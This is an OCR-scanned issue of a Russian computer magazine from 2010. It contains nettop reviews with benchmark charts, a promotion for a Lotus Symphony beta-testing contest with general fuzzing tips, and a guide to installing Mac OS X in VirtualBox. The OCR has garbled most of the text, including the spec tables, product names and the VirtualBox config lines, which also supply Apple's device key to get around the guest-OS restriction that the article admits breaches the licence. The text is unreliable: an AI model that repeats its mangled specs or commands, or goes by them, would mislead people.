Р0!Ё' Ёстественно' кстати' что новейший оптивеский привод ра6отает и со
стар":м,.: [0/0!0 ботван+ ами.
.
!лятого' что6ь: о6еспечитьА5Рос[ 0\ зз0-в0 приемлемую цену,
п роизводител ь похертвовал ком плектом поставки' которого п росто
нет. !ет в эт0м компьютере и модуля беспроводной связи' что сегод
ня вь глядит просто моветоном.
|ет и операционной системь:' так нто работу придется начать не с
просмотра любимого фильма, а с ее установки. !а и система охлах
дения шумит довольно ощутимо.
) 020
2-.,:
А$ш$ гЁЁв0х
Рс Ёв1 01 2
тЁхничЁскиЁ хАРАктгРи[1!4[]{:
0(: [т/1\ [т0':\:5 7 н0|и г г Рг|,.] 11- 1\'
|1.|1А]Ф0РйА: шу|! А [- |']
|'!Р0!-{Ё((0Р: ]\ [г| д1 |'|\.] .1':! 1 о ] [{
03}: ] г[ ]г]п2 {мА(с .. [ Б.
ЁА(8!-![,'11 Б.г'!!4; !]г]0 2:0 !Б 154!.'] |Б /ми1н) шРд Р],]дгР 150/50|]с/
\]]\.']:] []-(] \]-ч Рп0]
|-РАФ],'|(А: []\7 ]г]]А 0\ [6[1:0п|г 9400]
38}(; !]!д1 г[|( 1_1 с1'] !гг1[']1| 0\ ;\[]0 0 5.1
0Ё]Б: |']! |] !т\[0!]|][ 10,/1|]0/]000 [!]Б[] г/с ш1 г 802 1 ]в/0/\
РА3Б₠[-,!Б!:6| |_]5в 2 0 н ]/|5 ![]/\ 1п 51_]в], 1-]|)м г-зАтА
к0м пл е ктАци9 : ([1 А 3 г1А|! |-А' !] ь1 ш кА, пул ь1 ду' г! 0д01А в (А
|.г||]][:;т];](р: :.||Ё|!/]:,]|''{|]н|410Р-у'А\'дд111|Р11и1тАн1/1я,А|тг|нА
РАзмЁРь!' й}-{:2221 1:0|26 9
!]]]!!]]!]
(омпания А5[-.]5 остается верна своей политике - вь!пускать отличнь!е
устройства' но этотдевайс отличается от большинства продуктов вендо
ра еще и вполне привлекательной ценой| 1=1еттоп' в силу своих особен
ностей, отлично подойдетдля домашнего использования.0н тихий, но
производительнь:й' Ё0-видео для него - вообще не проблема, да и со
многими играми он справится. [1а нем установлена новейшая опера-
ционная система \&!п6отмз 7' есть куна различнь!х портов на все случаи
к:з*и и модугь бе.проводнои ( воз/ '(о-орь-у годцер \/вае ! ;овейсий
стандарт\.{| г| !ггг в02.] 1 п' Ёу' а самое главное * это пультдистанцион
ного управления' которьтй позволит тебе вообще не вставать с дивана]
.
( недостаткам устройства мь отнесли отсутствие встРоенного оптичес-
кого привода' нто, в общем-то' помешаетте6е сделать из него мультиме-
диа центр. А за внешний привод придется заплатить совсем не маль е
с редства.
1 5000 ру6.
хАквР 08 /1з9/ ]0
BemeP34 for Journal-plaza.net
1 1 000 ру6.
у!гш$0ш!с
у0т120 Р[ ]т4|п!
тЁхн ич Ёс ки г хАРАктЁРи [1]'1 [1'{:
0[: \д/ ['] 00т/т/5 [Р Ё1 0 [/ Ё
[!/!А1Ф0РйА: 1 !\ тг| 9'15с5 1:
|_!Р@{Ё0(0Р: штг1. А1 [)\4 |.'!270, 1 6 гг1-|
03}: ] |Б 1]0[2
ЁА}(0[!й[Ё]1]4;1]!! 160 гБ {5400 05 /м||[]]
|-РАФ1,1(А: \1 Ё ! 945з.)!:|:
38}}(: 2 (А!!:.т.1Б1] Б1 1:]
(Ё1Б: \\,]|]]А\!0псг ]0/]007 1000 мг,ит/с ш г 802.1 ;в/;'/[!
РА3БЁйБ|: {{| |]5в 2.0 [1 ]45 1]у г5АгА
к0м пл ЁктАци9 : /\,1!А|1 | Ё Р [1 1'1 ! Аг] [1 |] 1] 0дс [Ав кА
РА3йЁРБ!, }.,!}'{: '1з0х | ] 5хз9
!.]!]!пп пп
0сновное достоинство этого неттопа - его маленькие габарить:; это са-
гиь:й миниатюрнь:й девайс в обзоре. !становлена на нем операционная
система [т/]п6ошз |Р !огпе - классика, с которой работало большинство
пользователей' так что привь кать ни к чему новому и переучиваться тебе
не придется.
,!ля большинства классических задач' таких как ве6 серфинг про
слушивание музь:ки' работа с офиснь ми приложениями и такдалее'
его производительности вполне хватит. 3 отличие от некоторь!х более
габаритнь х собратьев в нем установлен адаптер беспроводной свяэи'
-!оявляё-(о 0опь1им ппю-0м ,*ой модепи.
.
|едостатки!!еш5оп!с!0]'120 Р[ [х{'!п! являются следствием его миниа
тюрнь х габаритов. 3о-первь;х' это невь!сокая производительность,
которой нехватитдахедля воспроизведения Ё0 видео' не говоряухео
современнь!х играх. Бо вторь;х' это всего четь!ре порта !58, из которь{х
после подключения таких необходимь:хустройств' как клавиатура и
мь!шь, останутся свободнь:ми только два.
хАк₠Р 08 /1з9/ ]0
70тАс
мА0 мА0н0_ш001_ш
тЁхн ич Ёски Ё хАРАктЁРи[1}4(14:
0[: || [
|-!/1А]Ф0РйА: [']\/ 1] /:\ :]\
|-!Р9!|Б((0Р: [:т[1- А1!ь] зз0 ]'6 гг!1
03}:2 |Б.-]!<:
ЁА(@0й1Ё]1Б: 1] !] |: 1 о! г Б [-1'|]0 05'/т'; ': 5 1''.! Р ; - :.'[_[ ' :. : 1
ммс7х0/|"1з] |'.]: :1]]
|-РАФй(А: \!]|-] А [)[ч (.][[0Р[]Ё 9:|!|]]
38}(: РЁ;\1-1Ё [.' |:1] [][Ё]\ т 0\ А|]1] '] : ]
(Ё]Б: [!!] 1]1А \ г ] .]: г ] 0/1 00| ] 000 |у] !1' 1],'т]' \:/ г 802. 1 1 в/с/\
РА3БЁ}'{Б!: ох !с:! : .] Р -;_| '/6А 1г] :.-]в] 1]0!\4 ' гзА1-А' 3/Р0{г
к0мплЁктАци9: [10!|:. '':,''., ;р16тг\'1А (РгплЁ|1|4я [''1|*] ']1 '-!
д|]АптгР п[,]1д|1']']
РА3йЁРБ!, !'{й: 1 в6х 1 89хзв
!!!!]! ]ппп
Ёсли тебе не нравится однообразная обстановка на рабонем столе и
ть лю6ишь ее регулярно менять' то 70]А[ мА0 мА0н0-\001 -0 - это
устройство для те6я. 0н обладает ах тремя вариантами установки]
вертикальнь м или горизонтальнь!м на подставке' а такхе с помощью
!!5А-приспособлений на обратную сторону монитора. 3ообще' это' ьо-
нечно' топовая модель' что прослехивается как в ее внешнем виде' так и
в функционале' которь;й включает в себя массу интерфейсов и встро0н
нь;й адаптер беспроводной связи.
!
[1есмотря на все плюсь! у этого устройства отсутствует порт 0!{, а такхе
оптический привод' с которого такудобно устанавливать операционную
систему - ее' кстати' уданного неттопа такхе нет. [ одной сторонь1, у
тебя будет вь бор' а сдругой - это все-таки минус. !изайн устройства
весьма спорнь й' понравится он явно не всем.
> о21
BemeP34 for Journal-plaza.net
$шРгпР| м00 1.5 1м
20тАс мА0
[!еш$оп|с \г01120
А$[ос|к |0ш 330-в0
А$[!$ Ёее80[ 1 01 2
А[!Р Азр|ге п3600
30 0оо |0ш-в23ш7Р
0 20 10 60 00 100 120
с
Ёеттоп !]еш5оп!с снова отличился не луншим образом
РсмАпк'05
70тАс мА0
[!еш$оп!с 1,01120
А$Рос|с |0ш 330-в0
А$1!$ Ёее80[ 1012
А[Ё[Азр!гв пз600
30 0оо |0ш-в23ш7Р
0 500 1000 1500 2000 2500
паг|₠
1(оманда А: неттопь: отА505, Асег и А5Рос& в лидерах
гАп спу 2
70тАс мА0
[!еш$оп!с у0т120
А$Рос[ !0ш 3з0-в0
А$1|$ !ее80( 1012
А[ЁР Азр!ге п3600
30 0оо ]0ш-в2зш7Р
0 2 ь 6 0 ,|0 12
'р5
₠овременнь:е игрь! неттопь]' конечно, не тянг_ в лучшем
случае моя(но рассчить!вать на то [рз
30мАпк
70ис мА0
[!еш$оп!с \,01120
А$[ос|к |0ш 330-в0
А$|]$ Ёее80[ 1012
А[ЁР Азр!ге п3600
30 0оо |0ш-в23ш7Р
: 30]т{аг&03 : 30},!аг&06 паг!сз
/1идерь: сохранили свои позиции' а вот на устройстве
[!еш5оп]стест не пощел
0 500 1000 1500 2000 2500 з000 3500 4000
0ггкв[шсн 2.1
70тАс мА0
\,!еш$оп!с [01120
А$Рос|с !0ш 3з0-в0
А$]|$ !ее80[ 1012
А[Ё[ Азр!ге п3600
30 0оо !0ш-в23ш7Р
пагк5
8 этом тесте снова лидирует команда А. Аутсайдерь: традиционно те л(е
вь!в0дь|
Ёаграду "Бьг6ор редакции) сегодня заполунаетА5Рос|< !0\ 330-
80, которь;й о6ладает не только вь:сокой производительностью,
> о22
но и оптическим приводом 8!ш_Рау. "/!учшей покупкой> стано-
в ится А5(']5 Ёее8ох Р9 Ёв 1 0 1 2' которь: й недоро го стоит' доста -
точно шустро работает и комплектуется пультом дистанционного
управления.-
х^квР 08 /1з9/ 10
BemeP34 for Journal-plaza.net
6тань бета_тестер0м
|о!ш$ $ушр|т0пу
) воровать софт_плохо. Ёо и покупать полноценнь!е
лицензии с зашкаливающими ценниками многим банально не
под силу. Ёдинственной возможноотью избежать затрат и не
потерять при этом в функциональности становятся 1геешаге и
ореп5ошгсе приложения, в том чиоле офионь:й пакет от компа-
нии !8\:! - !-о1цэ 5упр[опу. Развитие таких программ напрямую
зависит от активного участия комьюнити. 9ейчас у тебя есть не
только возможность попользоваться удобнь:м прилохением, но и
3неси св0й вкл ад
[!юбой программнь:й продукт нуждается в
серьезном бета-тестинге. Ёекоторь;е ком-
пании предпочитают обходиться иоключи-
тельно собственнь!ми оилами ' !ругие, и
это в основном разработники бесплатного
и открь!того !-|Ф, активно привлекают
бета_тестеров из компьюнити. Ёще бь!:
даже самьпй большой отдел тестеров не
может сравнитьоя с той армией пользо-
вателей, которь|е будут испь!ть!вать про-
дукт в самь!х разнь!х ситуациях. 0о этой
причине к нам обратились ребята из !вм,
которь!е очень просили' чтобь; именно ть:,
наш читатель, попробовал найти баги и
ошибки в бета-версии !*о!шз $упр[опу.
Ёа вопрос: "А не иопугаетесь и прооить
пощадь! не будете?", - мь! получили
твердое "нет". Разве ж не хороший
повод утереть опь!тнь!м программистам
из оамой !8[й нос, продемонстрировав
пару багов? тем более, на кону поездка
в []]тать:, и у тебя есть реальнь:й шанс
победить. (ороне говоря, самое время
поковь|рять программу о пользой дела. А
нтобь; лунше получалось, мь! поделимся
с тобой парой секретов о том' как лучше
всего искать ошибки в !-|Ф.
(онечно, если продукт оь:рой, то различ-
нь:е баги будут вь:лезать
в самь]х
[1ервая вероия !-о1шз
$упр[опу включала
функционал для работь:
с графикой, таблицами
и текотом в одном инте_
грированном пакете.
@на отоила $695 и
занимала 12 флоппи-
дисков емкоотью 360
к6.
/!сто рия офиснь:х
пр0дукт0в [о[шз
[ ,''', | ,'''= | ,'''= [ ,,'*,[ ,,,.,
Астория $упр[опу
начинаетоя
в далеком прошлом'
когда компания !-о!{-!5
!еме|орпеп1 6огрога!!оп
под руководством
йитна (эпора и
!жонатана 6экса вь:пу-
стила свою первую
программу для ра6оть:
с электроннь!ми та6ли-
цами.
реальнь;й шанс оделать его лучше, оть|скав оши6ки и получив
за это отличнь:й приз.
Бсли верить отатиотике: 807о пользователей используют
не более 20% функционала пакета м!сго3о{! @{11се. !-1ри этом,
что вполне понятно, стоимость лицензии на пакет мень|].]е
не отановится. (омпания !8[т:|, обладая штатом в 400 ть:с. сотруд-
ников во всем мире, внимательно проанализировалаэти цифрь:.
]ак появилась !-о!05 3упрпопу.
разнь!х местах' даже если не прилагать
к этому никаких усилий. [1одотавил где-
нибудь хитрое значение - программа
вь!летела, вот тебе и промах разработ-
чиков. !-о!шз 5упр[опу - не из таких,
поэтому для поиска ошибок придется
поотараться. Ёстественно' вручную тести-
ровать то' как прилохение обрабать:вает
те или инь1е ситуации и входящие даннь!е
- задача неблагодарная. Ёе легко можно
автоматизировать.
[1ервь:й путь - иокать баги с помощью
так назь!ваемого фаззинга. 3то самь;й
простой опособ поиска ошибок. ₠мьгсл
в том, чтобь: передавать в различнь!х
местах программь! намеренно некоррект-
нь!е значения (онень длиннь;е строки, опе_
циальнь!е оимволь] и т.п.) и анализи-
ровать то' как программа на
это реагирует.
через год корпорация
анонсировала решение
!-о1цэ 1-2-3, в котором
работаста6лицейигра-
фиками впервь:е бьгла
обьединена в функцио-
нале одного решения.
[4'менно тогда появилась
верхняя панель для
управления текстом'
которая сейчас еоть в
любом офионом пакете.
00-е 6ь:ли временем
первь1х и самь!х смель!х
разработок программ
для работьг с докумен-
т ами и таб лицами. !-о!ш$
оеуе!орпеп1 @огрога1!оп
бь:ла одним из оамь!х
активнь!х участников про-
цеоса. компания посто_
янно вь!пускала новь!е
версии программь! для
операционнь!х платформ
разнь!х вендоров.
(орпорация !8|т:| поку-
пает !-о1шз 9еме!орпеп1
6огрога1!оп за кру-
глую сумму - $3,5
млрд. 8 этом же году
появляется продукт
!-о1ц9 5пап5ц!1е з.1,
обьединивший в инте-
грированной панели
та6лицу, документ и
презентацию. 8 течение
следующих лет вь!ходят
различнь!е его версии.
BemeP34 for Journal-plaza.net
[1оле3нь|е адд0нь|
0дна и3 прик0льнь!х фишек
[о[шз $упр[опу - эт0 п0д-
ключаемь!е плагинь!' с п0м0-
щью к0т0рь!х м0жн0 легк0
добавить в прил0жение новь:й
фун кционал. [] юбь!е адд0нь!
м0жн0 скачать и
прям0 из самой
Большим шагом вперед
стал вь!ход расширеннего
до 5 программ пакета
[_о1шэ 5паг1$ц!1е. Фднако
во время перехода на
32-6итную архитекцру
!-о1ц5 5пап3ш!1е не уопе-
вает вовремя модернизи-
ровать свои программь!
и в итоге теряет свою
долю на рь:нке. 3то бьпл
оерьезньпй {а!! для !-о1шз и
шанс для [ч:||сгозо[| Ф{[!се.
1 ,''*=
1,.,.= 1,0,,,
одной из самь!х прость!х программ для
ооздания макросов' автоматизирующих
что угодно в системе с помощью скриптов
на !у1[оп и графинеской средь! для визу-
ального создания макросов.
(онечно, все эти средотва - лишь отправ-
ная точка, с которой можно начать овое
маленькое 6ета-тестирование. 8ь:играть
конкурс сможет тот' кому удастся четко
определить места' где потенциально могут
бь:ть ошибки, а также найти или создать
оамому инструменть!' позволяющие их
вь!явить. йнтересная задачка, даже очень.
устан0вить
пр0граммь!.
|_о|цз" $упр[опу' 3е1а 3
+ Рф 5ешег р!ш9-!п
,[обавляет в $упр[опу вотроеннь:й Ё]Р-клиент, позволяющий 6ь:отро
коннектиться к Ё1Р-серверу и работать с файлами (в том нисле Ё[!\:1!-)
на удаленном хосте.
) [о!цз 5упр}:опу ₠}:агББаге
Аддон, предоставляющий возможность бь:стро раошарить презентацию
другим людям. ,[ля просмотра человеку потребуется лишь браузер, в
котором он откроет присланнь:й тобой |,]Р!-.
) !вм [о1цз 5угпр!'гопу о1'! р!ш9-!п
[1олезнь:й плагин для удобного сравнения двух документов, вь[деляю-
щий изменения разнь!ми цветами в очень наглядном виде.
) 9а1аБа5е соппефоп Р!ш9-!п
@нень прикольнь:й аддон' позволяющий реализовать реалтаймовую
синхронизацию даннь!х между электронной таблицей в !-о1шз $упр[опу
ита6лицей в удаленной базе данньгх (например, $ч! $еше/е).
Ёекоторь!е и3 них - наст0я-
щий <мшз1 [ауе!>
Ёсли разработчик не позаботился о пра-
вильной обработке таких ситуаций, легко
вь!являетоя 6аг. Аля начала можно вос-
пользоватьоя следующими инструментами
для файлового фаззинга и посмотреть, как
!_о1шэ 5упр[опу обрабать:вает некоррект-
нь!е, испорченнь:е файль; документов. ₠
помощью утилить1 [т:!!п!{ш:: легко реализу-
ется глупь|й фаззинг. [1оследнее означает,
что тулза не знает' что именно она делает
с файлом, а просто меняет некоторь!е
даннь|е внутри и открь!вает его в иссле-
дуемой программе. Ёсли четко описать
формат и изменять значения внутри этого
формата со знанием дела (например,
только поля' которь!е отвечают за размер
блоков или смещения), то фаззинг можно
проводить намного более эффективно.
Фтличной платформой для реали-
зации умного фаззинга является Реас[:
Ёш::ег (реас[{ш77е(.соп\. 8торой путь -
воспользоваться утилитами из разряда
6ар1шге-Р!аубао(, которь;е запись!вают
действия тестировщика во время ручного
тестирования. ть! можешь один раз запи-
сать последовательнооть действий и легко
воспроизводить ее вновь и вновь' под-
ставляя в нужнь!х местах различнь!е пара-
метрь:. 1аким образом, тупое повторение
одних и тех же действий можно заменить
умнь!м скриптом. ,!ля создания таких
макрооов тебе пригодятся утилита Аш!о!1,
позволяющая писать оамь!е слохнь!е оце-
нарии, а также инструмент 5![ц!|
[1оследний явля-
ется
2007:2008:
Ёовая история !-о1шэ
$упрБопу началась три
года назад' когда на
главной странице !8й
появилоя первьпй релиз
бесплатного офионого
пакета для работь: с
документами, та6лица-
ми и презентациями.
[от хе функционал,
что и [т/]!сгоэо[1 Ф$!се,
но 6есплатно!
8 планах !8[т,;1 _ пере-
вести воех сотрудников
на использование
|_о1шэ $упр!:опу. вь!шла
обновленная версия
!-о!шэ $упр[опу с 60
новь!ми инструментами.
Решение поддерживает
вое основнь!е формать:
документов' электрон-
нь;х таблиц и презен-
таций.
Ёовая версия под
названием !!еппа
несет в оебе большое
количеотво нововве-
дений, в том числе
поддержку некоторь!х
макросов' которь!е не
бь:ли доступнь! ранее,
8ь:ходит большое
количество дополни-
тельнь!х плагинов и
готовь!х макросов.
Ёовая версия
$упр[опу (Апз1ег0ап)
должна вь:йти в
2011 г.8 ближайшие
несколько месяцев
у тебя есть возмож-
ность сделать так'
чтобьп она ста'1а еще
более удо6ной и
функциональной.
й реальнь:й шанс
получить в благодар-
нооть поезду в ['].'|тать:.
BemeP34 for Journal-plaza.net
! ] степан "5!ер" ильин 1ш||1₠г.соп/5(ераь
-
-
мАс0$ х +
у!птшА|в0х =
люБ0вь
3апускавм мак0сь п0д виртуальной
машин0и
Ёдинственн0 вернь:й спосо6 п0чувств0вать првлесть ]т,!ас 0$ [ _ купить к0мпью-
тер или ноут6ук |\,!ас. }до6но, 6ь:стро, ста6ильно и 6ез гем0рр0я _ чел0ввчвский
п0дх0д в лучших традициях ]т4ас. }(елая п03нать неп0знаваем0е, а именн0 _
]т:|ас 0$ [ на о6ь:чном Р[, энтузиасть! активн0 д0пиливают различнь:е видь:[а-
кинт0ша, ругаются сл0вами <(кекст>> и 6оятся апдейтов системь!. [ще сложнее
6ь:ло 3аставить мак0сь ра6отать п0д виртуальной машиной, н0 эт0 т0льк0 д0
сег0дняшнег0 дня.
зкспБРимгнтАльнАя п0ддБР}ккА
8се началось с того' что я решил попро6овать написать прилохе-
ние для !РБопе/!Ра0 и тут хе встрял из-за досадного ограничения.
0казалось' 50( разра6отника и все сопутствующие инструменть!
доступнь! только для платформь: йас 05 |. ['1о правде говоря, \4ас
я собираюсь купить ухе довольно давно, особенно после мучитель-
нь!х танцев с [акинтошом' но, увь!' заветнь:й [',4асбоо[ Рго '] 5"
как 6ь:л, так и остается лишь пунктом в списке "{,очу купить>.
(олдовать снова с установкой йас 05 на свой Р[, не имея гаран-
> оэ6
тии, что смогу хотя бь; запустить нухнь:й софт, не бь:ло никакого
хелания.0пь:т подсказь:вал, что ничего хорошего не вь:йдет и с
вирцальнь!ми машинами' Ёи одно решение для виртуализации,
6удь оно от й!сгозо{|, Рага[[е[з, !['.4тмаге или 5цп' 6еэ шаманства
[вахнь;й момент!) не позволяет запустить йас 05 в качестве госте-
вой 06| 8ернее говоря, не позволяло. [4зуная с[ап9е[о9 программь!
!!г{ца[8ох'а [теперь ухе распространяемое под эгидой компании]
0гас[е' которую в последнее время использую в качестве основного
средства виртуализации' наткнулся на очень интересную строчку|
х^квР 08 /1 з9, 1 0
BemeP34 for Journal-plaza.net
' ьРЁ Р.ь.Ф] . овс|с ш и&.!вФ
-_- 9о/@ о 6вяФ!с!
},!ас 05 )(, запущенная под !|г|ца[8ох
"Бхрег!гпеп{а[ 5шррог1 [ог йас 05 | 5егмег 9оез{э". 0пция впервь е
появилась в версии 3.2.0 и далее часто упоминается. [1олунается,
в качестве гостевой 05 теперь мохно установить макось? [лово
(5егуег>) сначала сбило с толку, но бь;стро вь!яснилось' что это есть
не что иное, как лицензионное ограничение йас 05 |- !ело в том,
что лицензия допускает установку 0[ только на компьютерь! и ноут-
буки йас. 3се остальное, включая [акинтоши и прочие извраще-
ния, по большому счету запрещень! - влолне логичнь:й шаг со сто-
ронь] компании Арр|е. А вот ограничение внутри самой !!г{ша[8ох'
как оказалось, искусственное. Бь:стро нашлось немало отзь!вов о
том, что под !!г|ша[8ох'ом отлично устанавливается последняя вер-
сия !т,4ас 05 }' то есть 5пош |еораг6 [такое вот кодовое имя релиза)
1ут надо иметь в виду, нто подобнь;й опь!т напрямую нарушает
л ицензию системь1. поэтому мохет рассматриваться исключитель
но в образовательнь!х целях.
с0здАнив виРтуАльн0й мдшинь:
|лавное требование для установки йас 05 !, - поддерхка про-
цессором спецификации ![-х. !п1е| !!г|ца[!аа||оп [есбпо[о9у [ог
х96 поддерхивается практически всеми современнь ми процессо
рами 1п1е[, включая большинство |оге 2 0цо/0ца6 и моднь:х !3/!5/
!7. йь: проводили эксперимент на [оге 2 0шо Ё8500 и !!|п6отмз 7
в качестве основной системь1. 8о многих случаях система долхна
завестись и на процессоре от Ай0. но только при условии' что
тот имеет поддерхку технологии виртуализации Ай!-!. !алее
потре6уется официальнь:й диск с \4ас 05 [ или его о6раз [у нас
бь;ла версия ]0'6.3}' конечно хе' легально купленнь:й |это тебе
не !!1п6ошз|]. Ёсли образ сграблен под йас 05 и имеет раз-
решение .6п9, то привести его в привь!чньтй !50-вид помохет
утил ита 6гп92|гп9 {уш ] |с г еш. ог9/{оо[з] : 6по2 ]пч 5о!гсе_г 1 ] е.
фп9 ое5с ]пас 1оп_{ | 1е . 1зо',['алее необходи мо создать < п ра -
х^кБР 08 /1з9/ !0
вильную> виртуальную машину' на которую и 6удет установлена
система. [обственно' начать нухно с того, что указать тип гостевой
систе[1ь! - <йас 05 | 5егуег"' 9то приятно, такой тип вь:6ирается
автоматически - стоит только в названии виртуалки использовать
слова <(пас>> или' скахем, "[еораг0". (райне хелательно вь!де-
лить виртуальной машине минимум 1024 м6 оперативки и создать
виртуальнь!й хесткий диск на 20 [б [вполне мохно использовать
опцию <0упап!са[[у ехрап61п9 з1ога9е")' ['1осле создания виртуал-
ки не лишним будет открь;ть ее свойства и' во первь!х, отключить
эмуляцию {[орру-диска, а во-вторь!х' установить количество видео-
памяти' равное 12в мб. в качестве !0Ё-контроллера долхен бь;ть
вь!ставлен тип ![Ё6' но это работает и по умолчанию.
14нформация о системе' т.е. виртуальной машине
28.о6.!о !2:4?
051
Фв6ы сипхрохн:ации '
Аппао.!{!! .!сдф-
ид.лтлФикотор !одели.
с(о!ост! п!оц.(соо!:
колич.с!'о проц.(соро.
фщс. хо'ич.п|о.д.р:
: пФ.р!!!|о. ф.сл.ч.пи.
> о2'-7
BemeP34 for Journal-plaza.net
й1
8носим важнь|е параметрь| в )(},!|--конфиг
виртуалки
,{алее есть два пути. ['1ервь:й и самь:й правильнь:й - обойтись
силами одной только !!г{ша[8ох. !ля этого необходимо закрь!ть
программу [крайне вахно. иначе ничего не полунится|) и найти
!,\4[-конфиг только что созданной виртуалки. 8 )(Р он находится
здесь: с; \оосцтпепс5 апо 5еес]'п95\<03етпапе>\.у;гсца]вох\
}4ас}:1пез\<папе ог сье 9}4>\<папе ог сье ."ш>.ю1' в у!5|а/
\А/!п0ошз 7 с : \1-]3ет5\<!зетпапе>\ .у|тсца]вох\мась!пе5\<папе
о[ сье ум>\<папе ог еье ум>.)сп]. ['!од !-!пшх'ом ищи [\4[
внутри /ьопе. 8 этом файле есть несколько строк' опись!вающих так
назь!ваемь!е Ёх|га0а{а!{еп' Ёайди это место поиском в любом тексто-
вом редакторе и добавь еще две строчки:
<вх! гаоаса1!еп папе= " увохтп[етпа12,/в{ 'воосАг95,'
<вхсгаоаьатвеп папе= "увох1псегпа]2 /3псоеу1секеу',
уа1 !е= " оцгьагёшог}<5у[|езешого590агсе6р1 еа5еооп! 5 с еа1
( с ) Арр1есопрц!егтпс '' />
['1осле этого мохно сохранить конфиг и заново запускать !|г{ша[Бох.
['1оследний штрих - вь;брать в качестве с0гопе образ с \4ас 05 [
и стартовать виртуальную машину. 8 90% слунаев запустится гра-
финеский инсталлятор, и мохно буАет спокойно установить ось.
0ткуда берутся эти 10о/о неудач, сказать слохно' 0днако если вдруг
во время загрузки вь]пль!вает какая-нибудь [егпе[-ошибка' или
многообещающе появится серь:й экран с курсором, но на этом все
и останавливается, мохно попро6овать другой путь. 8 этом слунае
ухе не надо никак шаманить с конфигом виртуалки |если доба-
вил туда Ёх1га0а1а!!егл'ь1, то их надо удалить}. !4'дея в том, нто6ьп
использовать альтернативнь:й загрузчик _ Ёгпр!ге Ёг! {р!а5у9с!с4
1а9/епр!ге-е{1|. 1!.1тука распространяется в виде !50_файла {напри-
мер' епр!ге[г!у1 085.|зо], которую надо примонтировать к виртуалке
и отдать команду на старт. 8о время загрузки появится ухе темнь;й
интерфейс Ёгпр!ге Ё[! - в этот момент надо демонтировать текущий
о6раз альтернативного загрузчика и подключить |50'шку со 5потм
|еораг0. 0бновляем информацию о диске [<г5>]' хмем <Ёп{ег> -
вуаля, опять хе получаем окно установщика \4ас 05 !,.
устАн0вкА и нАстР0йкА
1ем или инь:м способом появляется графинеский интерфейс уста-
новщика системь!, которь!й приветливо предлагает вь:брать язь:к
для устан0вки'.|алее, спросив' куда необходимо установить 0[' он
почему-то не предлохит никаких вариантов. 8се потому, что еще
не размечен хесткий диск [виртуальнь!й]. для того' чтобь: создать
структурь! и отформатировать раздель!, запускаем дисковую ути
литу из раздела.!тилить;' верхнего меню' 1ут вь;6ираем вкладку
.6тереть', потом хмем кнопку <стереть>>' и утилита сама все сде-
лает за нас. 1еперь указь;ваем установщику размененнь:й раздел
- и начинается процедурь! установки' Ребоо[.
[1олностью рабочая сис!ема с достойнь:м разрешением' поддерхкой
клавиатурь;/мь;ши, а такхе сетевого адаптера - вот, что тебя хдет
сразу после перезагрузки компьютера. Ёдинственное - придется
) 028
/
пройти п роцедуру идентификац ии клавиац рь| [мастер потребует
нахать на клавиши рядом с .зБ|[1''ами], а такхе создать учетную
запись пользователя' 1ут надо помнить, что раскладка клавиатурь!
переключается ком6инацией <ш!п[еу'+<6р9$ел'. 0т всех процедур
регистрации и создания учетки в сервисе йоб|[ейе мохно смело
отказаться, как и от процедурь! переноса даннь!х с другого компью_
тера йас (ведь как заботливо, а!?|..[алее, когда со всеми этими
вопросами от нас отстанг, мо)кно, наконец' пощупать саму систему.
!1_]елкаем по окошкам' запускаем различнь!е программь!' про6уем
открь!ть страниць| в браузере 5а{аг!' 1ут хе скачиваем тех1па1е'
легендарнь;й текстовь;й редактор для йас 05 [, в виде непривь!чно_
го 0п9-файла [формат дистрибутивов в йас 05 !,] и устанавливаем
- опять хе, все отлично ра6отает. (онечно' совсем не так шустро'
как на самом йас'е' и не так бьстро' как в случае !,акинтоша' но
при этом вполне комфортно.8 эйфории оттого' что не надо мучить-
ся с кекстами и прочими шаманствами, мохно дахе не заметить
отсутствие звука - в системе нет драйвера для звукового контрол-
лера !6Ё А697, которь:й эмулирует !!г1ша[8ох. 8ероятно, этот факт
сильно напрягал энтузиастов' поэтому на форуме виртуалки бь;стро
появились нео6ходимь:е дрова. добротнь;й установщик' доступнь:й
на |о гш п":з.у г{ша [5ох.ог9/у|етм|ор с. рБ о?[=4&{=30843' из6авит дахе от
возни с рунной правкой [<ех1'ов. [1росто сканай Р(0-файл' запусти
его и перезапусти систему' [1омимо отсутствия звука меня напряга-
ло фиксированное разрешение' установленное в гостевой 06' рав_
ное 1024х768' ( счастью, и для э]ого есть маленький хинт. которьпй
опять хе необходимо провернуть в конфиге виртуалки. 0ткрь:ваем
1й|-файл в текстовом редакторе и после всех Ёх{га0а|а!1еп до6ав-
ляем новую строку:
<Ёх| таоасат веп папе= " увох1псетпа1 2,/ в' 1сормоае',
уа1!е="ш''/>
['1араметр \ - это числа от 0 до 4, ознанающие разрешения
640х480' 800х600, 1024х7 68' 1 280х1 024' 1 440х900 соответственно.
6 помощью этой строки мь! указь!ваем, что виртуальная машина
долхна использовать так назь:ваемь:й !!г1ша[8ох ЁЁ!. [Б! - это
[х1епз! б[е Ё |гптшаге ] п1ег{асе' но в ь: й и ндустриал ьн ь: й ста нда рт,
которь;й долхен заменить Б|40[ в качестве основного интерфейса.
!вь:' в рамках используемого виртуальной машиной БЁ! другие раз-
решения не поддерхиваются, но дахе 1440х900 вполне достаточно
для комфортной работь:. 8от чего пока не хватает' так это под-
дерхки надстройки 00е51 А66!{|опз' с помощью которой. напри_
мер, мохно очень просто обмениваться файлами мехду хостовой
и гостевой машиной. 6ейнас для этого придется использовать
протокол 5й8..[ля этого сначала нухно его включить' ['1ереходим
в настройки: <меню ) [истемнь:е настройки ) [1нтернет и бес_
проводная сеть ) 06щий д0ступ> и включаем <0бщий доступ
к файлам" 8 <параметрах>' необходимо активировать протокол
5й0. 1еперь к любой !!!п6отмз машине с расшареннь!ми ресур-
сами мохно подключиться через меню <[1ереход ) ['1одклюнение
к серверу>. Ёадо лишь указать адрес хоста в адресной строке:
зпБ:||10.0.2.2. (стати говоря, значение 10.0.2.2 неслунайно: в 6оль-
шинстве случаев [то есть с сетевь]ми настройками !8 и виртуаль_
ной машинь: по умолнанию) это будет адрес хостовой машинь!.
купить мАс
6ама по себе поддерхка ['.4ас 05 !, в качестве гостевой 0[ - это
онередной шаг вперед ребят из командь! !]г1ца[8ох. &ногие из
них хивут и работают в ['1итере и еще пару лет назад с радостью
показь!вали мне только что введенную поддерхку 30-ускорения
внутри гостевь!х систем' ['1отом появился {[азБ-клиент для доступа
к виртуальнь!м машинам.1еперь - новая фина, и опять <полнь:й
улет"' ₠ другой сторонь:' как бь; просто ни бь:ло поставить макось
под виртуалкой, это никогда не заменит настоящег0 йас'а:6ь:стро-
